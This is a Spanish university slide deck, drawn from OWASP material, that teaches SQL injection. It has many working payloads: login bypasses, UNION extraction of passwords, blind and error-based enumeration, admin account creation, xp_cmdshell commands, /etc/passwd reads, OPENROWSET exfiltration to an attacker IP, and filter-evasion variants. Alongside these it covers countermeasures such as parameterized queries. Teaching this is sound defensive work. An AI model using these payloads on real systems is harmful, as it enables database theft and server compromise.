Seguridad Informtica en el Desarrollo de Aplicaciones - PowerPoint PPT Presentation

1 / 90
About This Presentation
Title:

Seguridad Informtica en el Desarrollo de Aplicaciones

Description:

... sintaxis para actualizar, insertar y borrar registros: SELECT Consulta datos ... Crear o borrar tablas de la base de datos. Definir ndices (claves, keys) ... – PowerPoint PPT presentation

Number of Views:258
Avg rating:3.0/5.0
Slides: 91
Provided by: victorc1
Category:

less

Transcript and Presenter's Notes

Title: Seguridad Informtica en el Desarrollo de Aplicaciones


1
Seguridad Informáticaen el Desarrollo de
Aplicaciones
  • Inyección SQL
  • micael.gallego_at_urjc.es

2
Inyección SQL
  • Introducción
  • Descripción Técnica
  • Contramedidas
  • Conclusiones

3
OSWASP
  • Open Web Application Security Project (OWASP)
  • Comunidad dedicada a permitir que las
    organizaciones desarrollen, compren y mantengan
    aplicaciones de confianza.
  • Toda la documentación, herramientas, con código
    abierto
  • http//www.owasp.org
  • Material basado en presentación de
  • Victor Chapela
  • Sm4rt Security Services
  • victor_at_sm4rt.com

4
Qué es SQL?
  • Lenguaje de Consulta Estructurado, SQL,
    Structured Query Language
  • Permite el acceso a las bases de datos
  • Estándar ANSI e ISO
  • La versión actual es SQL99
  • Con SQL se puede
  • Ejecutar consultas contra una base de datos
  • Obtener información de la base de datos
  • Insertar nuevos registros en la base de datos
  • Borrar registros de la base de datos
  • Actualizar registros de la base de datos

5
SQL es estándar, pero
  • Hay muchas versiones diferentes de SQL
  • Más o menos se soportan las mismas palabras
    reservadas de la misma forma (SELECT, UPDATE,
    DELETE, INSERT, WHERE, ...)
  • La mayoría de los sistemas de bases de datos SQL
    tienen sus extensiones propietarias además del
    SQL estándar

6
Tablas de una base de datos SQL
  • Una base de datos relacional contiene una o más
    tablas identificadas por un nombre
  • Las tablas contienen registros (rows) con datos
  • Por ejemplo, la siguiente tabla se llama
    usuarios y tiene los datos en filas y columnas
    (rows y columns)

7
Consultas SQL
  • Con SQL, se pueden hacer consultas a una base de
    datos y se tiene un conjunto de datos (resultset)
    de resultado
  • Con la tabla anterior una consulta como esta
  • Ofrece el resultado

SELECT LastName FROM users WHERE UserID 1
8
SQL Data Manipulation Language
  • Lenguaje de Manipulación de Datos (DML)
  • SQL incluye sintaxis para actualizar, insertar y
    borrar registros
  • SELECT Consulta datos
  • UPDATE Actualiza datos
  • INSERT INTO Inserta Nuevos Datos
  • DELETE Borra datos

9
SQL Data Definition Language
  • Lenguaje de Definición de Datos (DDL)
  • Permite
  • Crear o borrar tablas de la base de datos
  • Definir índices (claves, keys)
  • Especificar enlaces entre tablas
  • Impone ciertas restricciones entre las tablas de
    la base de datos
  • Algunas de las sentencias DDL más utilizadas son
  • CREATE TABLE Crea una nueva tabla
  • ALTER TABLE Modifica una tabla
  • DROP TABLE Borra una tabla

10
Metadatos
  • Casi todas las bases de datos SQL se basan en el
    modelo relacional RDBM (Relational Data Base
    Model)
  • Entre las 12 reglas de Codd para un sistema de
    base de datos real
  • Por lo tanto, la estructura de la base de datos
    se puede leer y modificar con consulas SQL

4. Los Metadatos (los datos sobre la base de
datos) se deben almacenar en la propia base de
datos como datos convencionales
11
Qué es la Inyección SQL?
  • La habilidad de inyectar comandos SQL en una base
    de datos a través de una aplicación existente
  • (generalmente web)

12
Inyección SQL
  • Cómo es de común?
  • Es el ataque más habitual de las aplicaciones web
  • Quién es el culpable?
  • No es un problema de la base de datos
  • MySQL, MS SQL Server, PostgreSQL,
  • No es un problema del servidor web
  • Apache, Tomcat, JBoss, IIS

13
Defecto en Aplicaciones Web
  • El ataque aprovecha un defecto en el desarrollo
    de aplicaciones web
  • La mayoría de los programadores no son
    conscientes del problema
  • Muchos tutorial de desarrollo de aplicaciones web
    son vulnerables
  • Incluso peor muchas de las soluciones que
    aparecen en Internet no son lo suficientemente
    buenas y no evitan el problema

14
Aplicaciones Vulnerables
  • Casi todos los sistemas de bases de datos y los
    lenguajes de programación son potencialmente
    vulnerables
  • MS SQL Server, Oracle, MySQL, Postgres, DB2, MS
    Access, Sybase, Informix, etc
  • Se puede acceder a ellas a través de aplicaciones
    desarroladas usando
  • Perl y scripts CGI que acceden a la base de datos
  • ASP, JSP, PHP
  • XML, XSL and XSQL
  • Javascript

15
Inyección SQL
  • Introducción
  • Descripción Técnica
  • Contramedidas
  • Conclusiones

16
Aplicaciones Web
  • Esquema de una aplicación web

Servidor Web
Navegador Web
Base de datos
Aplicación Web
Petición/ Respuesta SQL
Petición/ Respuesta http
17
Aplicaciones Web
  • Autenticación en aplicaciones web
  • El usuario inserta el login y password en un
    formulario
  • Los campos del formulario llegan a la aplicación
    web
  • La aplicación web construye una sentencia SQL con
    el login y password y consulta su tabla de
    usuarios
  • Si la consulta devulve resultados, el usuario
    está en la base de datos y se considera
    autenticado

18
Cómo funciona la Inyección SQL?
  • Típica sentencia SQL de autenticación de usuarios
  • Si la consulta devuelve resultados se autentica
    al usuario y se le deja acceder a la página web

SELECT FROM users WHERE login 'victor' AND
password '123
19
Cómo funciona la Inyección SQL?
  • En la aplicación web, se debe recoger la
    información del formulario (usuario y password) y
    crear la sentencia SQL
  • Si formusr y formpwd contienen la información del
    formulario, el código que construya la sentencia
    SQL se suele implementar de esta forma (ASP/MS
    SQL)

var sql "SELECT FROM users WHERE login '"
formusr "' AND password '" formpwd "'"
20
Inyección con Strings
  • Si a través del formulario de login usamos los
    datos
  • Al final la consulta quedaría

formusr ' or 11 formpwd anything
SELECT FROM users WHERE username ' ' or 11
AND password 'anything'
Comentario de una línea MS SQL --
MySQL
21
La potencia del '
formusr ' or 11 formpwd anything
  • El apóstrofo cierra el parámetro de String
  • Todo lo que haya después de él se considera
    sentencia SQL
  • En algunas páginas se sugiere escapar el
    apóstrofo reemplazándolo con doble apóstrofo ('
    ')
  • Es un consejo erróneo, ya que hay parámetros de
    otros tipos
  • Números
  • Fechas

22
Si el parámetro fuese numérico?
SELECT FROM clients WHERE account
12345678 AND pin 1111
(PHP/MySQL)
sql "SELECT FROM clients WHERE " . "account
formacct AND " . "pin formpin"
SELECT FROM clients WHERE account 1 or 11
AND pin 1111
formacct 1 or 11 formpin 1111
23
Demo
  • Se ha desarrollado una aplicación vulnerable para
    mostrar el funcionamiento de la inyección SQL
  • Página web programada en Java (Servlets y JSP)
    que accede a una base de datos
  • Tiene autenticación de usuarios y permite
    consultar información de una base de datos de
    zapatillas

24
Demo
  • Tablas de la base de datos

Modelos
Users
Zapatillas
25
Demo
26
Inyección de SQL
  • Fases del ataque
  • Descubrimiento de la vulnerabilidad
  • Obtención de Información
  • Ataque 11
  • Extracción de Información
  • Interacción con el Sistema Operativo

27
Descubrimiento de la Vulnerabilidad
  • Las vulnerabilidades pueden estar en cualquier
    parte, se comprueban todos los puntos de entrada
  • Campos en formularios web
  • Parámetros en la URL
  • Valores almacenados en cookies
  • Valores almacenados en campos ocultos (hidden)
  • Podemos utilizar software que por fuerza bruta
    intenta buscar vulnerabilidades "fuzzing
    insertando
  • Caracteres ' " ) gt
  • Palábras SQL reservadas
  • Consulta de retardo ' waitfor delay '0010'
  • Hay herramientas que automatizan este trabajo
    (fuzzers)

28
Inyección de SQL
  • Fases del ataque
  • Descubrimiento de la vulnerabilidad
  • Obtención de Información
  • Ataque 11
  • Extracción de Información
  • Interacción con el Sistema Operativo

29
Obtención de Información
  • Una vez encontrada la vulnerabilidad, hay que
    descubrir
  • Mecanismo de Salida
  • Comprender dónde se inyecta la consulta
  • Determinar el tipo de base de datos
  • Descubrir los privilegios del usuario conectado a
    la base de datos
  • Determinar el nivel de interacción con el sistema
    operativo

30
a) Mecanismo de Salida
  • Utilizar los resultados que se muestran en la
    aplicación web
  • Mensajes de Error
  • Crear consultas SQL que generan mensajes de error
    que contienen información valiosa
  • Inyección SQL Ciega (Blind)
  • Retardos de tiempo o páginas de error para
    determinar la información
  • Prácticamente se pueden hacer las mismas cosas
    que con los otros métodos, pero muy lentamente
    (binario)
  • Otros mecanismos
  • e-mail, SMB, FTP, TFTP

31
1. Resultados Web
  • En muchas aplicaciones web la forma de mostrar
    los datos es
  • Hacer consulta SQL
  • Mostrar los resultados de la consulta en forma de
    tabla en la página web
  • Se aprovecha esta característica para modificar
    la consulta SQL de forma que los resultados
    interesantes se visualicen junto con los datos
    normales

32
1. Resultados Web
  • Ejemplo de código vulnerable en la aplicación de
    demo

modelos.jsp
String query "SELECT FROM modelos WHERE
idzapatillas" request.getParameter("idzap
atilla") ResultSet rs stmt.executeQuery(query)
while(rs.next()) gt lttrgt
lttdgtltrs.getString("nombre")gtlt/tdgt
lttdgtltrs.getString("stock")gtlt/tdgt lt/trgt lt
BLP (06-07)
32
33
1. Resultados Web
  • Si analizamos el funcionamiento de la página web,
    vemos que cuando visualizamos los datos de un
    modelo, se hace una petición de este estilo

http//localhost8080/InyeccionSQL/modelos.jsp?idz
apatilla1
34
1. Resultados Web
String query "SELECT nombre,stock FROM
modelos WHERE idzapatillas"
request.getParameter("idzapatilla") ResultSet
rs stmt.executeQuery(query) while(rs.next())
gt lttrgt lttdgtltrs.getString("nombre")gtlt/tdgt
lttdgtltrs.getString("stock")gtlt/tdgt
lt/trgt lt
http//localhost8080/InyeccionSQL/modelos.jsp?idz
apatilla1
35
1. Resultados Web
  • Para atacar con inyección SQL, necesitamos hacer
    una petición a la URL con un valor diferente para
    el parámetro idzapatilla
  • Escribir la URL a mano es engorroso porque hay
    que seguir el formato de las URLs
  • Podemos usar una página web con un formulario
    para hacer una petición simulada

36
1. Resultados Web
  • Página web para ataques

Url de la página que queremos atacar
lthtmlgt ltbodygt ltform action"http//localhost8080
/ InyeccionSQL/modelos.jsp"gt
Parámetro ltinput name"idzapatilla"
type"text" size"100"gt lt/formgt lt/bodygt lt/htmlgt
Parámetro que queremos inyectar
Usamos esta página para que nos codifique con el
formato de URL el valor que insertamos en el
formulario Un ataque profesional utilizará
herramientas más elaboradas
37
1. Resultados Web
  • Cómo diseñar la inyección?
  • Consulta original
  • Valor de idzapatillas para para insertar datos de
    otras tablas en el resultado

SELECT nombre,stock FROM modelos WHERE
idzapatillasidzapatilla
SELECT nombre,stock FROM modelos WHERE
idzapatillas1 union SELECT login,password FROM
users
Ejecutamos otra consulta
38
1. Resultados Web
Resultado
Valor del parámetro
1 union select login,0 from web.users
Login de la tabla de usuarios
39
1. Resultados Web
Resultado
Valor del parámetro
1 union select password,0 from web.users
password de la tabla de usuarios
BLP (06-07)
39
40
2. Mensajes de Error
  • Error de agrupación
  • Podemos probar hasta obtener un nombre válido, en
    ese momento todas las columnas salen en los
    mensajes de error
  • ' group by columnnames having 11 --
  • 1 group by nombrecampo having 11
  • 1 group by nombre having 11

java.sql.SQLException MicrosoftSQL Native
ClientSQL Server Column 'modelos.stock' is
invalid in the select list because it is not
contained in either an aggregate function or the
GROUP BY clause.
41
2. Mensajes de Error
  • Error de tipos
  • ' union select 'text',1,1,1 --
  • ' union select 1,1, bigint,1,1,1 - -
  • Donde 'text' o bigint se unen a una columna de
    tipo entero, el error muestra el valor que no
    puede convertirse
  • En bases de datos que admiten subconsultas, una
    mejor forma es
  • ' and 1 in (select 'text' ) - -
  • En algunos casos puede ser necesario convertir
    los datos para generar los mensajes de error

42
3. Inyección Ciega
  • Podemos evaluar una condición si la aplicación se
    comporta de forma diferente con true o false
  • ' or condition --
  • ' or (3 lt 2) --
  • Podemos utilizar retardos
  • ' if condition waitfor delay '005' --
  • ' union select if( condition , benchmark
    (100000, sha1('test')), 'false' ),1,1,1,1
  • Sólo obtenemos respuestas si/no (binarias)
  • Se puede extraer toda la información deseada pero
    de forma muy lenta

43
3. Inyección Ciega
  • Absinthe
  • Herramienta que automatiza la extracción de
    información de la base de datos con inyección
    ciega
  • Antes conocida como SQueaL
  • http//www.0x90.org/releases/absinthe

44
b) Comprender la consulta
  • La consulta puede ser
  • SELECT
  • UPDATE
  • EXEC
  • INSERT
  • O algo más complejo
  • El contexto ayuda
  • Qué intenta la página hacer con nuestra entrada?
  • Qué nombre tiene el campo, cookie o parámetro?

45
b) Comprender la consulta
  • Algunas veces los mensajes de error incorporan la
    consulta

46
Sentencia SELECT
  • La mayoría de las inyecciones van en una
    sentencia SELECT
  • Una sentencia SELECT casi siempre termina en una
    claúsula WHERE
  • SELECT FROM table WHERE x 'normalinput'
    group by x having 11 --
  • Se puede usar
  • GROUP BY x
  • HAVING x y
  • ORDER BY x

47
Sentencia UPDATE
  • En la sección para cambiar la contraseña, se
    puede encontrar lo siguiente
  • UPDATE users SET password 'new password WHERE
    login logged.userAND password 'old password'
  • Si inyectas en 'new password y comentas el
    resto, se cambiarán todas las password de la tabla

48
Estructura de la sentencia SELECT
  • Intenta replicar un comportamiento sin error
  • ' and '1' '1
  • Genera errores específicos
  • Determina el nombre de la tabla y las columnas '
    group by columnnames having 11 --
  • Necesitas paréntesis? Es una subconsulta?

49
Es un procedimiento almacenado?
  • Se utilizan diferentes inyecciones para
    determinar qué se puede hacer
  • ,_at_variable
  • ?Param1fooParam2bar
  • PRINT
  • PRINT _at__at_variable

50
Consultas difíciles
  • Cuando estamos en parte de una subconsulta o en
    una sentencia begin-end
  • Necesitamos usar paréntesis
  • Alguna funcionalidad no está disponible en las
    subconsultas (por ejemplo group by, having)
  • Cuando varias consultas utilizan la entrada
  • Podemos obtener errores de diferentes consultas,
    esto puede confundir
  • Un error generado en la consulta que estamos
    inyectando puede parar la ejecución de nuestras
    propias consultas
  • Algunas consultas no se pueden realizar

51
c) Determinar el tipo de base de datos
  • La mayoría de los mensajes de error nos dirán
    con qué base de datos estamos trabajando
  • Los errores ODBC muestran el tipo de base de
    datos como parte de la información del driver

52
c) Determinar el tipo de base de datos
  • Si no tenemos mensaje de error ODBC
  • Podemos adivinar el tipo de base de datos
    basándonos en el Sistema Operativo y el Servidor
    Web
  • O bien se pueden usar caracteres específicos,
    comandos o procedimientos almacenados que generan
    diferentes mensajes de error

53
Some differences
Recopilación de sentencias típicas para Inyección
SQL http//ferruh.mavituna.com/makale/sql-injectio
n-cheatsheet/
54
d) Privilegios del usuario
  • Hay varias funciones en SQL99 que funcionan en la
    mayoría de las bases de datos
  • user or current_user
  • session_user
  • system_user
  • ' and 1 in (select user )
  • ' if user 'dbo' waitfor delay '005 '--
  • ' union select if( user() like 'root_at_',
    benchmark(50000,sha1('test')), 'false' )

55
d) Privilegios del usuario
  • Ejemplo
  • 1 and 1 in (select current_user ) --

javax.servlet.ServletException MicrosoftSQL
Native ClientSQL Server Conversion failed when
converting the nvarchar value 'dbo' to data type
int.
56
Administradores de base de datos
  • Las cuentas de administrador por defecto se
    suelen llamar
  • sa, system, sys, dba, admin, root
  • En MS SQL se mapean en dbo
  • dbo es un usuario que implica permiso para
    realizar todas las actividades en la base de
    datos
  • Cualquier miembro de sysadmin se mapea al usuario
    dbo

57
Inyección de SQL
  • Fases del ataque
  • Descubrimiento de la vulnerabilidad
  • Obtención de Información
  • Ataque 11
  • Extracción de Información
  • Interacción con el Sistema Operativo

58
Descubrir la estructura de la BD
  • Determinar los nombres de las tablas y las
    columnas
  • ' group by columnnames having 11 --
  • Determinar los tipos de las columnas
  • ' union select sum(columnname ) from tablename --
  • Enumerar las tablas definidas por el usuario
  • ' and 1 in (select min(name) from sysobjects
    where xtype 'U' and name gt '.') --

59
Descubrir la estructura de la BD
  • Secuencia de descubrimiento

SQL ServerConversion failed when converting the
nvarchar value 'modelos' to data type int.
1 and 1 in (select min(name) from sysobjects
where xtype 'U' and name gt '.' ) --
1 and 1 in (select min(name) from sysobjects
where xtype 'U' and name gt '.' and name ltgt
'modelos' ) --
SQL ServerConversion failed when converting the
nvarchar value 'users' to data type int.
60
Listar las columnas de las tablas
  • MS SQL
  • SELECT name FROM syscolumns WHERE id (SELECT id
    FROM sysobjects WHERE name 'tablename ')
  • sp_columns tablename (this stored procedure can
    be used instead)
  • MySQL
  • show columns from tablename
  • Oracle
  • SELECT FROM all_tab_columnsWHERE
    table_name'tablename '
  • DB2
  • SELECT FROM syscat.columnsWHERE tabname
    'tablename '
  • PostgreSQL
  • SELECT attnum,attname from pg_class,
    pg_attributeWHERE relname 'tablename ' AND
    pg_class.oidattrelid AND attnum gt 0

61
Todas las tablas y columnas en una consulta
  • ' union select 0, sysobjects.name ' '
    syscolumns.name ' ' systypes.name, 1, 1,
    '1', 1, 1, 1, 1, 1 from sysobjects, syscolumns,
    systypes where sysobjects.xtype 'U' AND
    sysobjects.id syscolumns.id AND
    syscolumns.xtype systypes.xtype --

62
Todas las tablas y columnas en una consulta
Modelo Stock Jordan 343 modelos id
int 0 modelos idzapatillas int 0 modelos
nombre varchar 0 modelos stock int 0 users
login varchar 0 users password
varchar 0 XC-245 23213 zapatillas descripcion
varchar 0 zapatillas idzapatillas
int 0 zapatillas marca varchar 0 zapatillas
precio decimal 0 zapatillas puntos int 0
1 union select sysobjects.name ' '
syscolumns.name ' ' systypes.name,0, from
sysobjects, syscolumns, systypes where
sysobjects.xtype 'U' AND sysobjects.id
syscolumns.id AND syscolumns.xtype
systypes.xtype --
63
Listado de las bases de datos
  • En MS SQL Server, las bases de datos se pueden
    consultar con master..sysdatabases
  • Diferentes bases de datos en el servidor
  • ' and 1 in (select min(name ) from
    master.dbo.sysdatabases where name gt'.' ) --
  • Localización física de las bases de datos
  • ' and 1 in (select min(filename ) from
    master.dbo.sysdatabases where filename gt'.' ) --

64
Tablas del Sistema
  • Oracle
  • SYS.USER_OBJECTS
  • SYS.TAB
  • SYS.USER_TEBLES
  • SYS.USER_VIEWS
  • SYS.ALL_TABLES
  • SYS.USER_TAB_COLUMNS
  • SYS.USER_CATALOG
  • MySQL
  • mysql.user
  • mysql.host
  • mysql.db
  • MS Access
  • MsysACEs
  • MsysObjects
  • MsysQueries
  • MsysRelationships
  • MS SQL Server
  • sysobjects
  • syscolumns
  • systypes
  • sysdatabases

65
Inyección de SQL
  • Fases del ataque
  • Descubrimiento de la vulnerabilidad
  • Obtención de Información
  • Ataque 11
  • Extracción de Información
  • Interacción con el Sistema Operativo

66
Obtención de Password
  • Obtener el nombre de usuario y la contraseña de
    una tabla definida por el usuario
  • ' begin declare _at_var varchar(8000) set _at_var''
    select _at_var_at_var' 'login'/'password' '
    from users where logingt_at_varselect _at_var as var
    into temp end --
  • ' and 1 in (select var from temp) --
  • ' drop table temp --

67
Crear cuentas en la base de datos
  • MS SQL
  • exec sp_addlogin 'victor', 'Pass123'
  • exec sp_addsrvrolemember 'victor', 'sysadmin'
  • MySQL
  • INSERT INTO mysql.user (user, host, password)
    VALUES ('victor', 'localhost', PASSWORD('Pass123')
    )
  • Access
  • CREATE USER victor IDENTIFIED BY 'Pass123'
  • Postgres (requires UNIX account)
  • CREATE USER victor WITH PASSWORD 'Pass123'
  • Oracle
  • CREATE USER victor IDENTIFIED BY Pass123
    TEMPORARY TABLESPACE temp DEFAULT TABLESPACE
    users
  • GRANT CONNECT TO victor
  • GRANT RESOURCE TO victor

68
Transferir la estructura y los datos
  • Una vez que la conectividad se ha comprobado
  • MS SQL Server se puede enlazar a una base de
    datos del atacante usando un OPENROWSET
  • La estructura de la BD se replica
  • Los datos se transfieren
  • Todo se puede hacer conectándose a un puerto 80
    remoto

69
Crear la estructura de la BD
  • ' insert into OPENROWSET('SQLoledb',
    'uidsapwdPass123NetworkDBMSSOCNAddressmyIP,
    80', 'select from mydatabase..hacked_sysdatabas
    es') select from
    master.dbo.sysdatabases --
  • ' insert into OPENROWSET('SQLoledb',
    'uidsapwdPass123NetworkDBMSSOCNAddressmyIP,
    80', 'select from mydatabase..hacked_sysdatabas
    es') select from
    user_database.dbo.sysobjects --
  • ' insert intoOPENROWSET('SQLoledb','uidsapwd
    Pass123NetworkDBMSSOCNAddressmyIP,80','selec
    t from mydatabase..hacked_syscolumns')select
    from user_database.dbo.syscolumns --

70
Transferir los datos
  • ' insert into
  • OPENROWSET('SQLoledb',
  • 'uidsapwdPass123NetworkDBMSSOCNAddressmyIP,
    80',
  • 'select from mydatabase..table1')
  • select from database..table1 --
  • ' insert into
  • OPENROWSET('SQLoledb',
  • 'uidsapwdPass123NetworkDBMSSOCNAddressmyIP,
    80',
  • 'select from mydatabase..table2')
  • select from database..table2 --

71
Inyección de SQL
  • Fases del ataque
  • Descubrimiento de la vulnerabilidad
  • Obtención de Información
  • Ataque 11
  • Extracción de Información
  • Interacción con el Sistema Operativo

72
Interacción con el SO
  • Dos formas de interactuar con el SO
  • Leyendo y escribiendo ficheros de sistema en
    disco
  • Encontrar passwords y ficheros de configuración
  • Cambiar las passwords y la configuración
  • Ejecutar comandos sobrescribiendo los ficheros de
    inicialización o configuración
  • Ejecución directa de comandos
  • Se puede hacer todo (como abrir una shell)
  • Ambos están restringidos por los privilegios y
    permisos de usuario que ejecuta la base de datos

73
Interacción con SO con MySQL
  • MySQL
  • LOAD_FILE
  • ' union select 1,load_file('/etc/passwd'),1,1,1
  • LOAD DATA INFILE
  • create table temp( line blob )
  • load data infile '/etc/passwd' into table temp
  • select from temp
  • SELECT INTO OUTFILE

74
Interacción con SO con MS SQL
  • MS SQL Server
  • ' exec master..xp_cmdshell 'ipconfig gt test.txt'
    --
  • ' CREATE TABLE tmp (txt varchar(8000)) BULK
    INSERT tmp FROM 'test.txt' --
  • ' begin declare _at_data varchar(8000) set
    _at_data' ' select _at_data_at_datatxt' ' from
    tmp where txtlt_at_data select _at_data as x into temp
    end --
  • ' and 1 in (select substring(x,1,256) from temp)
    --
  • ' declare _at_var sysname set _at_var 'del
    test.txt' EXEC master..xp_cmdshell _at_var drop
    table temp drop table tmp --

75
Arquitectura
  • Hay que tenerlo en cuenta siempre
  • La inyección habitualmente se ejecutará en un
    servidor diferente
  • Puede que no tenga acceso a Internet

76
Conectividad del equipo
  • Nombre del servidor y configuración
  • ' and 1 in (select _at__at_servername ) --
  • ' and 1 in (select srvname from
    master..sysservers ) --
  • NetBIOS, ARP, Local Open Ports, Trace route?
  • Conexiones Inversas
  • nslookup, ping
  • ftp, tftp, smb
  • Hay que comprobar si hay firewall y proxies

77
Obtener la IP
  • DNS Inverso
  • ' exec master..xp_cmdshell 'nslookup a.com MyIP'
    --
  • Ping Inverso
  • ' exec master..xp_cmdshell 'ping MyIP' --
  • OPENROWSET
  • ' select from OPENROWSET( 'SQLoledb', 'uidsa
    pwdPass123 NetworkDBMSSOCN AddressMyIP,80',
    'select from table')

78
Subir ficheros con la inyección
  • Aunque la base de datos no esté conectada a
    Internet, se pueden subir ficheros
  • Los ficheros tienen que convertirse a hexadecimal
    para que se puedan enviar con la consulta SQL
  • Tienen que partirse en piezas de 4Kbytes

79
Inyección SQL
  • Introducción
  • Descripción Técnica
  • Contramedidas
  • Conclusiones

80
Contramedidas
  • Existen varias formas de evitar la Inyección SQL
  • Por el desarrollador
  • Por la base de datos
  • Por un analizador de red

81
Contramedidas
  • Por el desarrollador
  • Validar la entrada
  • El reto es usar las mejores prácticas de forma
    consistente a través de todo el código
  • Asegurar que se cumple en las nuevas aplicaciones
  • Auditar las aplicaciones existentes en busca de
    vulnerabilidades

82
Contramedidas
  • Por el desarrollador
  • Nunca se deben crear las consultas SQL como
    concatenación de Strings
  • Siempre se debe usar la API parametrizada en la
    que cada parámetro se especifica de forma
    independiente

PreparedStatement pStmt conn.prepareStatement(
"SELECT FROM users WHERE login? AND
password?") pStmt.setString(1,
login) pStmt.setString(2, password) ResultSet
rs pStmt.executeQuery()
83
Contramedidas
  • Por el desarrollador
  • Utiliza procedimientos almacenados siempre que
    sea posible
  • Hay que asegurarse de que las entradas numéricas
    sean realmente numéricas
  • Integer.parseInt()
  • El usuario con el que la app accede a la base de
    datos debe tener los permisos estrictamente
    necesarios

84
Contramedidas
  • Por el desarrollador
  • Rechaza entradas sospechosas en vez de intentar
    escaparlas o modificarlas
  • Implementa filtros específicos de palabras clave
    de la inyección SQL
  • "select", "insert", "update", "shutdown",
    "delete", "drop", "--", "'"

85
Contramedidas
  • Por la base de datos
  • Ejecuta la base de datos con un cuenta con los
    privilegios estrictamente necesarios
  • Borra los procedimientos almacenados que no se
    usen
  • Cambia los permisos a los objetos del sistema y a
    los metadatos
  • Haz que el servidor de la base de datos esté
    detrás de un firewall de forma que sólo los
    clientes de confianza puedan acceder a él
    (administrador de red, servidor web y servidor de
    copias de seguridad)

86
Contramedidas
  • Por un analizador de red
  • Analizar las entradas de una aplicación web
    (parámetros URL, atributos ocultos, cookies) en
    busca de patrones de ataques típicos
  • Sólo como medida de protección adicional a la del
    desarrollador, ya que puede ser burlada fácilmente

87
Contramedidas
  • Evitar la detección del patrón ' OR 11
  • ' OR 'unusual' 'unusual'
  • ' OR 'something' 'some''thing'
  • ' OR 'text' N'text'
  • ' OR 'something' like 'some'
  • ' OR 2 gt 1
  • ' OR 'text' gt 't'
  • ' OR 'whatever' IN ('whatever')
  • ' OR 2 BETWEEN 1 AND 3

88
Inyección SQL
  • Introducción
  • Descripción Técnica
  • Contramedidas
  • Conclusiones

89
Conclusiones
  • Inyección de SQL es una vulnerabilidad peligrosa
  • Todos los lenguajes de programación y bases de
    datos son potencialmente vulnerables
  • La protección contra esta vulnerabilidad requiere
  • Diseño apropiado
  • Validación de las entradas
  • Uso de las librerías apropiadas (no usar
    concatenación de Strings)
  • Aislar el servidor de base de datos y limitar los
    permisos que sobre él tiene la aplicación web

90
Referencias
  • Artículos
  • http//www.nextgenss.com/papers.htm
  • http//www.spidynamics.com/support/whitepapers/
  • http//www.appsecinc.com/techdocs/whitepapers.html
  • http//www.atstake.com/research/advisories
  • Otras fuentes
  • http//www.owasp.org
  • http//www.sqlsecurity.com
  • http//www.securityfocus.com/infocus/1768
Write a Comment
User Comments (0)
About PowerShow.com